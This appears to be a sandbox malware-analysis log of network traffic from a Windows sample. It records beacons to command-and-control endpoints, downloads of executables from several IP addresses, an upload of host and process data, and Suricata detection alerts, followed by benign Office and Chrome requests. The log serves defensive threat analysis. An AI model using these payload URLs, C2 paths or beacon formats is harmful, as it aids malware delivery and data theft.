Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/filer.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 31 3d 31 30 30 39 33 38 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e1=1009384001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 33 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009393001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/7407486059/Tq4a1Bz.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 33 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009399001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /iYUeIWtRvzKHTkiRYPPG1732630737 HTTP/1.1Host: home.twentykm20sr.topAccept: /Content-Type: application/jsonContent-Length: 375382Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 32 36 35 38 30 36 37 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 33 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 34 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 38 36 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 31 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 64 77 6d 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 39 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 35 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 30 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3
Source: global traffic	HTTP traffic detected: GET /iYUeIWtRvzKHTkiRYPPG1732630737?argument=dnj8aNo2qFlqoahB1732658071 HTTP/1.1Host: home.twentykm20sr.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 34 30 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009400001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 39 34 30 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1009401001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAEHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 33 44 31 44 44 45 32 44 33 39 37 38 36 32 35 34 35 31 33 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 2d 2d 0d 0a Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="hwid"973D1DDE2D39786254513------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="build"mars------IDHIEGIIIECAKEBFBAAE--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 23.44.133.41 23.44.133.41

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49712 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49801 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49913 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:49991 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50101 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50132 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50136 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50145 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50146 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50147 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50148 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50154 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50158 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50159 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50161 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50162 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50163 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50165 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50164 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50191 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50201 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50206 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50208 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50221 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50224 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50227 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:50229 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50200 -> 172.67.153.209:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50349 -> 20.189.173.21:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50382 -> 52.168.117.168:443

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49894 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49895 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49897 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49896 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49898 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 20.190.177.146:443 -> 192.168.2.7:49904 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 192.168.2.7:50104 -> 13.107.246.63:443 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE0CC60 PR_Recv,

0_2_6CE0CC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIkqHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
